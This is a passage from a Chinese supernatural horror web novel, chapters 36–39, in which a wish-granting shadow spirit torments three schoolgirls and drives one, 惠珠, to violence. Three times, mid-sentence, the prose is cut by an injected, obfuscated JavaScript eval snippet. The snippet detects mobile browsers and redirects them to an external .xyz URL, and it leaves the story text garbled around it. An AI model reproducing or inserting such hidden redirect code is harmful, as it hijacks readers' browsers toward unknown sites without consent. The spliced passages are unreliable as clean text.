“这样啊——”珍星的声音变得小声。 然后突然笑了笑：“那我放学也去数一下，如果真的有多出来的一级，我也要许愿。” 她说得很轻松，仿佛并未将这件事当真，而惠珠的影子却在一瞬间变得张牙舞爪。 惠珠当然知道这是什么意思。 “太好了。”影子说，“如果珍星也去许愿，说不定我们就可以永远在一起了。” 珍星看不见，惠珠却能看见的是，黑影已经站在了珍星的身后。 可是惠珠却说：“那个，其实是骗人的。” “诶？怎么这样说？”珍星有些惊讶。 同一时间，惠珠也看见黑影回到自己身边，有些哀怨。 “你为什么这样说？” “为什么要这样说？” 惠珠并未理会她，而是继续对珍星说。 “因为我去过，没有多出来的台阶。” “可是你......”珍星看向惠珠身后的展品。 可是你还是做了一个这样的作品，是为什么呢？ “因为觉得很失望，站在那里许愿了也没有改变。” “所以我就自己制作了。” 这是惠珠给出的理由，在这个听起来并不特别的理由下，她回忆起那时的自己。 那似乎是一个星期六，前一天她找到素熙和珍星，准确来说，她是去找珍星的。 只是惠珠知道，如果要找到珍星，一定不可以绕过素熙。 前一天的对话也很平常。 “是惠珠啊，又来找素熙吗？” 珍星挡在素熙前面这样问，却并没有给身后的素熙让开位置。 惠珠又一次点头，在之前素熙去公司练习的每个日子，她都会这样来到她们的班级。 对着珍星这样点头。 “素熙她最近事情很多，你需要做什么就直接来找我好了。” 珍星在第一次的时候就这样说。 但惠珠依旧保持着这个“找素熙”的习惯。 因为她知道，即使珍星表现得很自然，和自己相处的前缀也是因为素熙才觉得安心。 最开始的时候，珍星还是会在地下室，会在惠珠面前跳出那支编排好的舞。 时间久一点之后，珍星更多地是在惠珠身边看她画着草图。 “不跳了吗？” “双人舞总是少一个人，似乎也没办法跳好了。” 在素熙和珍星看起来渐行渐远的时间里，只有惠珠知道并不是这样。 珍星虽然什么都没说，可似乎又什么都说了。 惠珠可以听到，久而久之，她心里多了一种忧郁。 如果脱离掉校园大赛这件事，她和珍星还能像这样相处吗？ 珍星继续坐在这里，失神或是想着某人。 “怎么了惠珠？”在教室门口的珍星将惠珠带回周五。 她站在这里，看见了素熙挣扎的动作，她想，也许这就是珍星想要的。 可是惠珠并没有说出来。 她只是说：“我的作品可能要更换了，之后，应该不会再麻烦你们了。” 珍星点点头，并没有追问。 就像她明明听见了身后素熙的呼唤，可是没听清，或者不想听清。 于是珍星说：“什么？素熙你在说什么？” 而惠珠在等待珍星的追问。 上帝也知道，这是不可能有的奇迹。 于是惠珠默默离开。 果然，如她猜测的一样，脱离掉那层岌岌可危的合作关系。 她们之间，连互相关心都没能有。 她究竟是想要拥有一个朋友，还是想和珍星做朋友呢？ 那个夜晚，惠珠始终在思考这个问题。 而在周六，她敲响了珍星的寝室门。 咚咚咚依稀能听见室内空旷的回声。 “没人吗？” “珍星、珍星——”惠珠试着小声呼唤一下。 无人开门，惠珠于是在校园里四处逛逛，想着等到珍星回来再敲一次门。 “可以邀请你去校外的便利店，再吃一次拉面吗？” 这是惠珠能想到的最好的话了，如果她想能在有一天对珍星说出：我们能不能成为朋友。 回来走上那方台阶时，惠珠并没有产生去数一数的想法。 因为知道，她想要做的事情，靠许愿是没有用的。 “珍星——”惠珠举起手想同站在寝室门口的珍星打个招呼。 可珍星看起来很忙，她只匆匆抬起手对着惠珠晃了晃。 “惠珠好，我有点事情要出去一下。” “改天再聊。” 惠珠比珍星想象得更清楚她平日的行动轨迹。 珍星不爱出门，大部分时候也只会去练舞室跳舞。 偶尔会为了采购一些物资，但也最多到学校一条街的那间便利店。 有一段时间，珍星在那边打工，结果店家跑了，珍星只拿到两辆扭扭车。 这些，惠珠都知道。 也因此，她知道，珍星此时的轨迹是不正常的。 “珍星，要去找素熙吗？” 惠珠做出了出乎意料的动作，她拉住了将走的珍星。 不敢拉手，只敢扯住一点她的衣袖。 啊，其实，早就发生了改变，惠珠在珍星沉默的那一秒钟里才想起来。 自从素熙出现之后，珍星的轨迹早就变成了绕着素熙转圈的卫星。 而惠珠是没有命名的宇宙垃圾，随处漂浮。 “我，我想见一见她。”珍星诚实地给出了回答。 “惠珠找我有很重要的事情吗？”珍星看出她的挽留于是这样问了。 惠珠在一瞬间是想提出那个邀请，可她意识到，珍星口中的“重要”绝对不是去便利店这种小事。 哪怕，这对于惠珠自己而言，并不是小事情。 “不、没有。” “我只是想说，昨天我来找素熙的时候，我好像看见素熙想对珍星说什么。” “可能是因为我还在，素熙最后没有对珍星说。” 惠珠慢慢地说，珍星果然因为她的话停下来。 “等一会好像会下雨。” 惠珠拿出背在身后另一只手上的伞。 “珍星和素熙，快点和好，然后一起平安回来吧。” 惠珠腼腆地笑了笑，珍星听懂了她的意思，用力地点头。 “无论素熙的想法是什么，我都会告诉她我的心意的。” 珍星露出信心的笑容。 “谢谢你惠珠。” “再见啦。” 惠珠摆着手送别了珍星，她发现自己真的很懦弱。 还是该说胆子小？ 其实这样很好，珍星很快就会和素熙和好，而事实证明，在那之后，惠珠也并没有被她们抛弃。 多亏了素熙，即使已经没有校园大赛的合作关系，惠珠还是能去看她们排练。 后来素熙索性就拜托惠珠帮忙一起制作道具，于是她们之间的关系又一次紧密起来。 可这并不是惠珠想要的东西。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644447|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 后来，雨果然下了起来，惠珠也发现珍星一整夜没有回来。 意料之中，却也不甘。 “一、二、三......” 惠珠颤颤巍巍地踩上了台阶，雷雨天闪电像一把银白利剑，说不清楚什么时候就会插进她的身体。 她却无暇顾及这些，聚精会神地数数。 “二十七、二十八......” “二十七——二十八——” “二十七！二十八！” 可是，为什么没有，第二十九级，多出来的台阶。 根本没有能实现她愿望的存在。 “只有我的愿望不被接受吗？” 是因为这样吗？ 她没有骗珍星，她数了一遍又一遍，没有找到怪谈里的台阶。 【你的愿望是什么？】 【变瘦。像正常的女生一样。】 惠珠第一次对着那个狐仙许愿是在论坛里，可惜说完之后，什么也没有发生。 就像此刻。 后来，素熙和珍星重新开始练习，并且叫来了惠珠。 惠珠其实很早就到了，但她没有来到练舞室，她挑了个角落静静站着。 于是，她也看见了那个从练舞室中跑出来撞到珍星的女生。 这并没有什么奇怪的，对吧？ 当惠珠终于踏进练舞室，她的影子只产生了一点点微动。 微不可闻，于是无人在意。 黑影却对她说：“我又看见了，刚刚那个脏东西已经缠上了珍星。” “什么？” “你没有看出来吗？那个故意撞她的人，就是这个让珍星陷入幻觉的鬼。” “和我一样死了好久的鬼。” 不过，鬼和鬼之间总是互相提防的，所以缠着珍星的鬼才会在惠珠出现时短暂消失。 惠珠并不害怕，反而有些开心。 “我的存在，是在帮助珍星吗？” “当然，你还可以做更多，为了珍星。” “我该怎么做？” 黑影在惠珠没有意识到的情况下，扩张了她在影子里的位置。 “首先，我们可以除掉那个脏东西。” 几天后，校园大赛的舞台上方，是二楼。 惠珠将那个惊慌的女生逼上了栏杆上，在那个瞬间，惠珠犹豫了。 眼前这个流着泪求饶的女生，真的是黑影嘴里的鬼吗？ “你不想保护珍星吗？” “我、” “如果是我的话，我会毫不犹豫的推下去。” 黑影退回去，连带着惠珠的身体也退出去，女生远离了危险的栏杆。 “也许这就是惠珠你，无法成为素熙的原因吧。” 然而惠珠选错了，那个女生的确不是活人，正如黑影说的那样。 她是想要害死珍星的鬼。 “不推吗？” “那我只好自己跳下去了。” 那是老师的伪装，她能看见惠珠身边的影子，虽然有些惊讶。 但却没有多说什么。 懒洋洋的老师跳下去，彻底搅乱了这次比赛。 惠珠心神不定之时又看见失控坠落砸向珍星的大灯。 她努力地大喊，想让珍星注意到，可她的声音无法传出去。 “你根本无法保护好珍星。”黑影对她说。 现下的一切分明与惠珠无关，她什么也不做，今天也会陷入这般疯狂。 可黑影却一次次将过错推到惠珠身上。 “如果是素熙可以做到的。” “如果是我的话，不会有任何犹豫。” “只有惠珠无法做到。” 恐惧和自责的交错，她向下看，看不清珍星的状况。 “你要害死珍星了。” 惠珠终于彻底崩溃。 她说：“我可以，我能做好的。” “你要怎么做呢？” “我会除掉所有欺负珍星的人。” 于是，三年级的新学期，惠珠接过老师的那把斧头。 践行着自己的诺言。 37. 喜欢 泡泡是廉价的宝石，但依旧具备宝石的火彩闪光。 “你会更喜欢现在的我吗？”惠珠站在长廊的另一侧，身后的影子已经凝聚出黑色雾气。 那雾气化作一只手，仿佛已经反客为主，变成了操纵惠珠的主人。 “喜欢我吗？” 走廊的灯忽明忽暗，突然一秒陷入黑暗。 最远处的惠珠于是出现在了面前，她变得很瘦，完全看不见从前的影子。 黑黑的头发，像一匹上好的绸缎，仿佛从画里走出来的古典美人。 她微笑着再次询问：“喜欢这样的我吗？” “珍星......” “珍星——” 一声加大音量的呼唤将珍星从梦中唤醒，是身边的素熙。 两个人正坐在医院急救室的门口，长时间的手术，珍星坐在椅子上不自觉就睡着了。 也许是和珍星一样心切，素熙这次也并没有带着拐杖来，当时她们都在担心楼梯下的惠珠。 通知完老师后，珍星率先下楼去探查惠珠的意识。 在碰到惠珠的血，准确来说是阴影中那团血雾之后，珍星又开始出现幻觉。 直到刚刚彻底陷入沉睡。 这似乎在预示着珍星，有什么东西发生了改变。 “没事吗珍星？”素熙关心地询问，珍星摇摇头。 视线转头，看见了坐在对面一排椅子上的英妍。 她并没有跟着过来，而是在放学之后才来到医院，但一言不发。 只是时不时朝珍星看过来，现在总算接收到珍星的视线了。 英妍站起来，走过来，露出心虚不安的表情。 有第三个人在时，她变得十分敏秀。 “对不起，是我推了惠珠学姐，都是我的错。” “你——”珍星开了一个话头，英妍的声音比她还快。 “那个时候，惠珠学姐举着斧头追着我，她一直说我该死，她要杀了我。” “我太害怕了，我只是不想死掉。” 英妍的声音里带着死里逃生的后怕，这也无可指责。 “但我知道，我还是做错了，也许我应该停下来和学姐讲讲道理。” 她当然知道这样说会很可笑，可如果不这样说，又怎么会有人愿意说出那句“你没错”呢。 这个世界上似乎只有愚蠢的羔羊才配被原谅，即使她快死了，也没人在意吧。 “我一定会补偿学姐的，我会真诚地道歉，无论怎样，我都会去补救。” 英妍看起来如此诚恳，以至于素熙动动唇，若不是珍星又转头看她。 素熙应该会立刻宽慰看起来如此不安自责的英妍。 “你，先回去吧，英妍。” 珍星对英妍完全相反的心声照单全收，但英妍的母亲已经赶来了医院。 珍星抬眼就能对上这位母亲担忧的眼神，心里有了一些感慨，原来真的出院了。 原以为是等死，但现在看起来，英妍的妈妈气色很好。 “向我们道歉没有任何用，如果惠珠脱离危险了，我会联系你。” 珍星还是忍不住叫住了跟着母亲要离开的英妍。 此时，她的母亲正在小声嘟囔着，去帮手术里孩子交医疗费的时候发现已经有人缴过了。 “那孩子的妈妈来了，我替你道歉的时候，她却说不怪我们，是她的孩子自己乱来。” “是她自己活该。不怪你们。”穿着华贵的夫人提着嘴角冷笑一声，随后对着身边的男人吩咐。 “你去守着，她没死就给我发个消息，死了就去联系殡仪馆。” “总之，我很忙，让她别再搞什么把戏叫我过来。” 英妍的妈妈感到很心疼，为什么会有孩子的妈妈对她的态度是这样的呢。 这样想着，英妍妈妈想对英妍说让她多来看看这个孩子。 “可是我没有学姐的号码。” 英妍拿出自己的手机递过去。 “不是要让我去道歉吗？”英妍弯着腰递出手机。 小声地对珍星不客气地说。 一句话就能体现她的真实想法，根本就没有刚才表演的愧疚。 珍星一时间愣在原地，有一种被算计了的感觉，她想收回刚才的话。 根本不想给出自己的联系方式。 “学姐？”英妍抬起头，脸上是似乎下一秒就能哭出来的委屈。 珍星心中又产生了那种被掐住将要窒息而亡的感觉。 直到一只手接过英妍的电话。 “珍星不爱看手机，留我的吧，嗯？”素熙不知什么时候走过来。 她明媚地笑起来，悠闲地在英妍的手机上输入自己的号码。 “好了，现在快跟着妈妈回去吧，这里有我们。” 素熙将手机还回去，安抚性地拍了拍英妍的手背。 英妍离开后，珍星和素熙也没能留多久。 不一会儿就来了个黑衣大叔，身后还带着三五个保镖。 “请回去吧。” “小姐这边，我们会照看的。” 黑衣大叔作出请的姿态，看着谦逊，实际上却不容拒绝。 珍星和素熙被赶出了医院。 “没想到惠珠的家里管得很严呢。” 两个人走到医院附近的公交车站，素熙的担心并没有珍星多。 但她会因为珍星沉重的神色而产生担忧。 “珍星，你刚刚是不是又做了奇怪的梦。” 珍星刚刚的状态就跟之前困在老师梦境里的状态一模一样。 “你看见什么了？” 素熙的手轻轻贴在珍星的脸边，爱惜地轻抚着。 “是不好的东西吗，可以告诉我吗？” 珍星在她轻柔的声音里犹豫着，她慢慢地回答。 “没有......” “我只是看见了不太一样的惠珠。” “是哪里不一样呢？”素熙的两只手揉上了珍星的太阳穴。 轻重刚好的力道替她按摩着，这让珍星紧绷的情绪有所缓解。 “惠珠变瘦了。”珍星给了一个最直接的形容。 “但她一直在追问我。” “一开始，她问我觉得她现在的样子怎么样？” 素熙站在第三人角度想着：“会变得更漂亮吧，惠珠的五官其实很漂亮。” 珍星跟着点头。 她也直接地回答：“惠珠变得更漂亮了。” “可当我这样回答的时候，站在我面前的惠珠就离我更远了。” “接下来她又问了我很多类似的问题，想让我对她做出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644448|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 评价。” 从近在咫尺远离到走廊的最末端，远到珍星已经没办法完全看清楚惠珠。 只能看见她穿着校服的身影和风吹起她的头发。 黑色的，长长的头发遮住她的脸。 “她问我，这样像不像......” “会更像素熙吗？” 素熙的声音适时响起让珍星不至于再次陷入刚才的幻梦中。 毕竟珍星的特殊体质很难抵挡。 “为什么要像我呢？” 只不过，素熙在说话的时候突然想到一个问题。 虽然珍星总是会被缠上，但却没有被鬼附身过。 反而是素熙自己比较危险，毕竟，她可是真实地体验过和老师共用一具身体的感觉。 “是啊，为什么一定要像素熙你呢？”珍星的声音放轻。 “除此之外，惠珠还有说什么吗？”素熙接着问。 但公交车已经停下来了，于是素熙拉着珍星上去，珍星则继续思考着这个问题。 没人注意到的是，乌鸦停在了枝头，上一次它看见乱窜的猫。 这一次呢？它看见了逃窜的松鼠。 毛茸茸的尾巴摇晃着，从街的另一边窜过来，刚好从公交车底下窜出来。 珍星坐在靠窗的位置，素熙坐下后继续询问着珍星刚刚的问题。 “然后呢，惠珠还有说别的话吗？” “有......”珍星回答，但没有继续说话。 平稳行驶的公交车突然发出一阵撞击声，虽然并不是什么大问题，也没有出事故。 但珍星和那只撞死在身边车窗上的乌鸦，迎面相对。 她甚至能看见乌鸦充血被挤压得破碎的眼珠，像雨水一样覆盖在玻璃上。 “为什么不说了呢？” “是问了很难的问题吗？” 素熙靠了过来，仿佛看不见珍星眼前的景象，自如地询问。 而珍星突然感觉有些难以言喻的恐怖。 她在玻璃窗上看见的素熙贴在自己身边，她的双手拦在自己的腰上。 虽然不像老师出现时带来的寒气。 但珍星却能明显感受到，抱着自己的“人”，浑身都湿透了。 雨一直在下，怎样也冲刷不掉乌鸦的血迹。 “珍星......” “你不喜欢这样的我吗？” 这个奇怪的素熙说出了跟惠珠一样的话。 珍星想要叫出来，才发现，车上已经一个人都没有了，包括司机。 那么，这是一辆怎样的车呢？ “你是，惠珠吗？”珍星咬着牙问出来，尽管努力平复着自己的情绪。 可现在的她敏感无比，甚至能感觉到沾到对方发丝，湿漉漉紧贴着身上泛起的激灵。 “我是、惠珠吗？”身后的人似乎也迷茫起来，她问珍星。 可珍星又能给出什么回答，很快，对方按着珍星贴在了玻璃上。 冰冷的触感让珍星握紧了双手。 “我明明......” 珍星被逼着去看玻璃上的人脸。 窗外的是一场大雨，窗内的人也在流泪。 “我明明是素熙。” “你喜欢这样的我吗，珍星？” “你喜欢素熙吗？” 38. 黑影（二） 深夜下班的打工族疲惫地靠在公交车站台边。 担心睡过去错过末班车，所以时不时抖起身体保持清醒。 终于，公交车靠站了。 可是她并没有如往常一样上车，反而捂住了嘴巴，避免自己的尖叫招来杀身之祸。 那是一辆公交车，但却盘旋着密密麻麻的鸦群，不断有乌鸦撞死在车窗。 她害怕地逃走了，只是在逃跑的过程中，她突然想起自己最初向车内打探的一眼。 不详的车辆内，她看见一双血手捧着一颗少女的头。 不敢细想的打工人一直向前跑，跑到大路上去，才敢回身看。 幸运的是，那辆公交车并没有出现。 更为幸运的是，这位打工族看见的头颅并没有人身分离。 今夜，无人死亡。 珍星已经分不出面前质问自己的是人是鬼，是素熙还是惠珠，亦或是第三者。 尽管在内心催眠自己，像雨水一样从她指尖流下来的并不是危险的红色血液而是幻觉。 而愈发弥漫浓重的血腥气挥散不去。 “珍星，看看我好吗？” “我是如此地想要与你......” “永不分离。” 流出血泪的她，低下头，一面禁锢着珍星，一面又表现出十分的弱势。 “你还记得我吗？” 她不再问珍星那个难以回答的问题，转而提起另一件事。 可无论她的问题是什么，对于珍星而言似乎都是无法回答的送命题。 因为—— “你是谁？” 珍星微微抬头，故作平静地问。 “我是谁呢？” 布满了裂纹的手从珍星肩膀上收回，放在了自己的脸上，放在那张属于素熙的脸上。 她神情疑惑，呢喃着珍星的问题。 公交车明明没有驶出多远，可天已经亮了。 珍星发现窗外遮挡视线的乌鸦消失了，变成了蓝天白云下的海边。 远处一艘大船正在鸣笛，很快，一棵树划过，海洋变成铁轨，呼啸一节火车。 公交车明明无法抵达这里，但珍星还是看见了停靠在站台边的列车走下一个红衣女孩。 “那是——” 珍星的双眼出现一种惊讶的眼神，更准确的，应该叫做不可置信。 她的脸被按着看过去。 背着背包的女孩看着也就十一二岁的身量，但因为头上戴着一层黑纱，气质上又显得很成熟。 或者说，神秘。 这让她在通行过程中得到了行人的注目，也因此无比顺畅地离开。 “那是你，珍星。”发出素熙声音的家伙这样说。 她似乎想让珍星产生自我怀疑，但很可惜，她失败了。 “你究竟是谁？”珍星产生一种气愤。 “不可以是你吗？”她的声音里带着一丝委屈，但珍星却完全不吃这一套。 “不准用素熙的声音跟我说话。” “你真凶。” 她捂住珍星的眼睛，用素熙的脸撇了撇嘴，把自己当成一个爱开玩笑的普通人。 可珍星并不会这样去看待她。 “你要做什么？” “嘘，仔细听——” 她的手指秀长分明，只是指甲长得过分，也许自认为已经修剪过，可珍星仍然能感觉到尖锐物刺进脸颊的痛。 于是珍星闭上嘴巴，按照她的指示，侧耳倾听。 她听见了轮胎摩擦地面时稀碎的滋滋声，仿佛她被按在地面上。 很快她又听见车门打开的声音以及她自己年幼时的声音。 圆形的砂砾，被磨碎却还有很多颗粒的沙哑，若不是还有几分孩子的圆润气，珍星会觉得这声音实在难听。尽管，这就是过去的自己。 “谢谢。” “不客气小妹妹。祝你比赛顺利。” 是那个时候，小珍星按照家人和老师的叮嘱一下火车就立即打车前往比赛地点。 遇见的司机是个很热情的年轻姐姐，她的声音很好听，让人不由自主地对她产生信任感。 三言两语之下，珍星就把等会要比赛的事情告诉了对方。 虽然这本就不是什么秘密，但她还是第一次主动对陌生人说什么，尤其是这件事对她而言，是很重要的。 “谢谢。”小珍星不知道能说什么，只能重复道谢。 “下次见。”司机姐姐向她道别。 可这句话，只有现在的珍星能听到。 “下次见？”珍星默默重复着，觉得奇怪。 而她终于松开手，笑吟吟地拉住珍星的手。 “想起来一点了，珍星。”她轻声说，将珍星带下车。 一辆车牌号为F444X的鬼魅之车。 “你就不能用你自己的脸跟我说话吗？” 珍星察觉到对方身上并没有对自己的杀意，即便是刚才那些，也只是为了吓唬自己。 但她确定，这不是老师。 “你真的能分清楚吗？”轻飘飘说着拒绝的话。 可下一秒却变成了看不清楚的雾气包裹的黑影。 她很听话，虽然珍星还没有意识到这一点。 “你想杀了我吗？” 珍星被她牵着向前，这大概是幻境，而来源，是她的记忆。 关于那次失败至极的比赛。 害死了老师的可恶比赛。 可偏偏，又是她与素熙相遇的地方。 “我只是想让你知道我是谁。”黑影说。 “因为你问我。”她又赶在珍星继续提问之前给出了回答。 为什么要让你知道。 因为你问了我，而我不会对你隐瞒。 我是谁呢？ 来找我吧珍星。 行走的过程仿佛看电影，珍星看见小珍星的身影不停闪烁。 停留的时间里，一会儿是小珍星路见不平结果自身难保，一会儿是小珍星在安慰被欺负的小女孩，最后停在小珍星因为衣服脏掉了不被允许进入比赛后台。 “我有多的裙子，我回家帮你拿。” “你在这里等我，我很快就回来。” 那个高于珍星很多，却看起来比珍星年幼的胖女孩鼓起勇气这样说。 她决定为这个第一次见面就为自己出头的朋友做点什么。 她其实很担心被拒绝，因为听到过太多次自己是无用之人这种话。 “好，你一定快点回来。”可是小珍星并没有那样。 她只是用看向救命稻草一样的信赖和依靠态度，重重地信任了胖女孩。 “这是，惠珠吗？”珍星相信黑影不会平白无故地带自己看这些。 “是吗？”可黑影却没有正面回答。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644449|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她提起了另一件事：“你的不幸，是从这里开始的吗？” 珍星随着她的话陷入了沉默，这是一种默认，而在她这样询问的时候，心中的恨意开始缓慢流动。 难道都是你造成的吗？珍星想。 哪知黑影却用更加委屈地声音回答：“这明明是我给你的祝福。” 祝福？ 珍星的手再次被牵起，这代表她们要继续往前。 于是她看见—— 年幼的惠珠使劲跑起来，她要快点回家。 她要帮助那个，帮助自己的女孩。 从来没有这样迫切地想要做成功一件事。 在累得不行的时候，惠珠靠着一种对于美好未来的幻想激励着自己继续向前。 她想，如果她能回家拿到衣服，再送给自己的新朋友。 那么，她对于对方而言就不是没有用的东西。 她们会一起玩，如果可以拥有这样一个朋友，惠珠愿意每天都这样跑下去。 远远可以看见那座白色房子的时候，惠珠知道自己要成功了。 “可是，如果失败了怎么办。” 也许是成功近在咫尺，总是失败的惠珠下意识开始想起这个问题。 不会失败的，爸爸妈妈根本就不愿意看见自己。 她只需要低着头，装作自己不存在般，前往自己的房间就好。 只要这样就好。 “谁让你跑出去的？” “你想死吗？” 她被抓住了，惠珠完美无缺的计划宣告失败。 是母亲，刚从教堂回来，眉眼之间尽是戾气。 “你这个，无法被净化的污秽。” 藤条抽在惠珠的背上，比起痛苦更多的是不解。 “你这恶魔，从我的孩子身上离开。” “把我的孩子还给我。” 也许是新朋友的安慰给了她一丝勇气。 惠珠喊了出来：“妈妈!我就是你的孩子。” “我是惠珠，我是你的孩子。” “我不会把一头怪物当做我的孩子。” 原来是下起了大雨，跑回来的惠珠被雨水冲刷掉了自己脸上的遮挡。 露出了黑色的胎记，但那并不是她生来就有的东西。 而是因为幼年时的一场大病，被父母带到无名山上拜了“神”之后她变得奄奄一息。 后来父母改信了基督，于是得到了神父的赐药，她活了下来。 可是变得很恐怖。 “可是，她说没什么。” “她说我跟其他人没什么两样。” 惠珠默默念着新朋友的话。 “对了，我还要给她送裙子。” 挨完了打，惠珠没有忘记跑上楼继续去做自己要做的事情。 可取出衣橱里那条美丽的裙子，惠珠看见了镜子中的自己。 “好丑。” “好胖。” 因为母亲的话，她生出了羞耻心。 她不敢再走出这间屋子。 “惠珠......所以，你是惠珠吗？” 珍星突然不害怕身边的黑影了，如果她就是惠珠。 如果，现在正在向自己袒露伤疤的，就是惠珠。 “我是惠珠吗？” 黑影的声音变得缥缈，她似乎说了一句微不可闻的话。 可珍星没能听见。 39. 痛生梦死 “死亡并不是终点哦。” “要好好收下我的祝福呀。” 这个喜欢在句子结尾加上各种拟声词的女人，会让无端联想到一种动物。 狡猾又混沌。 她游刃有余地决定了少女的生死，想死却生，想生即死，就这样恶劣地将她作为玩物。 而现在，黑影问珍星。 “所以，我应该是谁呢？” 珍星被她牵着来到惠珠面前，黑影仿佛拥有撕裂时空，掌管过去与未来的能力。 她伸手像掀开帘子一样，珍星就从一个无形的旁观者真切地走到了小惠珠的房间。 “可怜的孩子。” 黑影弯下腰温柔地抚摸她的头。 在惠珠开口询问她的身份之前，无比自然地开口：“你，向我许愿了对吧？” “许愿？” “你不想要这个。” 黑影点了点惠珠脸上的黑色印记。 “你还想变成一个正常人。” “还有……” “你到底是誰？”惠珠并没有表现出被说中心事的熟悉感，反而隐约透露着怒气。 这是一种应对恶意表现出来的应激。 “被讨厌了吗？”黑影喃喃自语起来，看了一眼身边的珍星。 恍然大悟般推了一把珍星。 这一下算是真正将珍星推到了惠珠面前。 “这样可怜的孩子，只有珍星你才能救她。” 黑影的声音不轻不重地响起来，表面上是在夸赞珍星，却带着一种深深的讽刺。 反而使自己甜蜜温柔的声音听起来冷淡，仿佛暴露本性。 黑影将手搭在她的后肩上，彻底化作了烟雾弥散消失。 这让惠珠误以为刚刚出现的黑雾本身就是珍星，但却如黑影讥讽的那样，当惠珠发现是珍星时她的态度发生了改变。 “对不起……” 原来，珍星在黑影的改变下，身形体貌全部褪回到孩童期。 “我是不是没有帮到你……” “我是不是害了你……” 幸好小孩子还保有诚实的品质，这让惠珠还能说出内心的不安。 珍星下意识想要说出“没关系”，可张嘴的瞬间，她迟疑了。 准确来说，是隐身的黑影在逼迫她。 “要这么轻易地原谅吗？” “珍星真是个大好人。可是没能比赛的后果，你全部都忘记了吗？” “敬爱老师的死亡、一蹶不振的人生、消极自卑的情绪……你完全就被一团黑雾包围了。” 黑影的话像蓄势待发的炮弹，而珍星被一次次地塞到黑漆漆炮筒前。 直面炮弹的结果也许并不好，轰地一声，所有的一切都将化为齑粉。 在惠珠不安的表情下，珍星似乎完全被黑影说动了，于是吐出了犀利冰冷的答案。 “内。” “你害了我。” 没想到，最后发射出子弹的，竟然是珍星。 被信赖着，被奢望着，被祈求着的她。 珍星保持着那身红裙黑纱的打扮，这让她虽然年幼，却并不童趣。 而这样的后果，是让她嘴里说出来的话，彻底粉碎了一个濒临崩溃的小孩的意志。 也许在惠珠的记忆中，这个人并没有那么重要，可在这一刻，她也许是唯一能够给她一个不一样的答案的人。 这就至关重要了。 “你想听的答案是这个吗？” 珍星蹲下来，平视着扑在地上的惠珠。 她脸上已经布满了眼泪，像一扇雨天的玻璃窗，嘴里无助地说着：“对不起、对不起……” “惠珠，你想要的是这个吗？” “你想要我全盘否定你，告诉你，你害惨了我吗？” “不、我不想……” “我做不好任何一件事情。” 珍星伸手抹去了她的眼泪，表情分明是冷淡的，可说出来的话又很滚烫。 “像现在这样说出来，我就知道了。” “你可以做到的，就像现在这样。” “做得很好呀，惠珠xi。” 珍星任由惠珠靠在自己身上哭泣，但她的心却并不如她安慰人那样坚定。 与其说她在游弋摇摆，更不如说她感觉有一种麻木，这段日子以来，她好像遇见太多这种情况了。 她有太多次泄露自己的情绪，拉住素熙让她免于被撞死的那次，决定去找素熙的那一次，对被附身的素熙说出真心话，对老师坦露这些年的痛苦…… 一直到现在，她察觉到黑影又一次在挑破自己的情绪。 可她好像并没有这么多的情绪可以倾斜了。 “这就是，你想要听的答案吗？” 珍星看着怀中的惠珠一点点消失，意识到了这个场景正在结束中，她带着不解和迷茫，向黑影发起提问。 “如果你想要让我作出为谁而死的选择，是不是我死了，就能结束了。” 这个瞬间，珍星感到很疲惫。 她想起老师留给她的梦，让她去帮一帮受难的孩子们，其实仔细想想，这就是珍星无法做成功的事情。 她根本就不是什么救世主。 只是一个很容易感到疲惫的普通人。 “死？” “你在向我许愿吗？” 黑影带着她暂时停在一个黑暗又有着一点微光的中间地带，算作中场休息。 “我为什么要向你许愿，向一个毁掉我人生的存在祈求什么。” 麻木的情绪之后，最容易出现的，是愤怒。 当人无处发泄时，愤怒是藏不住的。 然而黑影却很自在，她丝毫不为珍星的情绪而感到波动，言语之间更多的是一种兴趣。 对于这样的珍星，燃起了更多的兴致。 “你生气啦？” “为什么？” 嘴上是添油加火的话，可下一秒就开始有所解释，黑影的确不知道珍星究竟在为什么而生气，但她把所有能想到的原因都解释了一遍。 “在生气我为什么总是挑中你身边的人来迫害？” “我只是平等地接受了信徒们的愿望，至于为什么是你身边的人。” “并没有什么特别的理由，只是这样更有趣，虽然一个你已经带给了我很多惊喜。” “但也许这样，会更有意思吧。” 珍星并未听出黑影言语间的怅惘，因为对方这样漫不经心的话，心中的火焰燃得更旺。 恨不得能亲手撕碎对方。 “至于迫害，哪里有呢？我明明实现了每个人的愿望。” “甚至，很体谅地考察了大家的心意。” “比如，想死的孩子，我总是会一遍又一遍地问她，你真的想死吗？” 黑影的手指接近于瓷白色，这倒是符合她话里话外对自己身份的暗示，她不像活人，像一尊神像。 